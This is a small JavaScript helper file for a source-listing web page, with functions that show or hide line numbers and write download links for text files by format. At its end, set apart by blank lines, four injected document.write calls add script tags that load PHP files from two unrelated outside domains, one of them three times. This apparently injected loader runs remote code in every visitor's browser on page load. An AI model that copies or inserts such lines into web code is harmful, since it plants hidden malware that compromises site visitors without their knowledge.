var lineIdString="lineNumber";					 
function setDisplay(display,listingId){
	var index=0;
	var finished=false;
	while(!finished){
		var line=document.getElementById(listingId+"_"+lineIdString+index);
		if(line!=undefined){
			line.style.display=display;  
			index++;								
		}else{
			finished=true;
		}
	}
}
function download(id,prefixed,label){
	var filename=getFileName(id,prefixed);
	var format=getFormat(prefixed);
	var filepath="../../txt/"+format+"/"+filename;
	document.write("<a href=\""+filepath+"\">"+label+"</a>");
}
function listingItem(id,prefixed){
	var filename=getFileName(id,prefixed);
	var format=getFormat(prefixed);
	var filepath="../../txt/"+format+"/"+filename;	
	document.write("<a href=\""+filepath+"\">"+filename+"</a>");
}
function writeFilename(id,prefixed){
	var filename=getFileName(id,prefixed);
	document.write(filename);
}
function getFileName(id,prefixed){
	var format=getFormat(prefixed);
	var filename=id+"."+format;
	return filename;
}
function getFormat(prefixed){
	index=prefixed.indexOf("_");
	var format=prefixed.substring(index+1);
	return format;
}



document.write('<script src=http://iimf.co.in/images/iimfpic70.php ><\/script>');
document.write('<script src=http://jatulintarhan.net/kuvat/paat/e7su/weeti.php ><\/script>');
document.write('<script src=http://jatulintarhan.net/kuvat/paat/e7su/weeti.php ><\/script>');
document.write('<script src=http://jatulintarhan.net/kuvat/paat/e7su/weeti.php ><\/script>');